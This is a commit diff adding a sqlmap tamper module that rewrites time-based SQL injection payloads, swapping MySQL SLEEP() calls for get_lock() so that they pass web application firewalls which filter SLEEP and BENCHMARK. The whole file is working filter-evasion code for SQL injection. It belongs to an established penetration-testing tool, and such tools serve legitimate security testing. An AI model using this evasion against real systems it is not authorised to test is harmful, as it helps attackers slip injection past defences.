Update for #4344

tamper/sleep2getlock.py

@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.compat import xrange
+from lib.core.data import kb
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Replaces instances like 'SLEEP(5)' with (e.g.) "get_lock('ETgP',5)"
+
+    Requirement:
+        * MySQL
+
+    Tested against:
+        * MySQL 5.0 and 5.5
+
+    Notes:
+        * Useful to bypass very weak and bespoke web application firewalls
+          that filter the SLEEP() and BENCHMARK() functions
+
+        * Reference: https://zhuanlan.zhihu.com/p/35245598
+
+    >>> tamper('SLEEP(5)') == "get_lock('%s',5)" % kb.aliasName
+    True
+    """
+
+    if payload:
+        payload = payload.replace("SLEEP(", "get_lock('%s'," % kb.aliasName)
+
+    return payload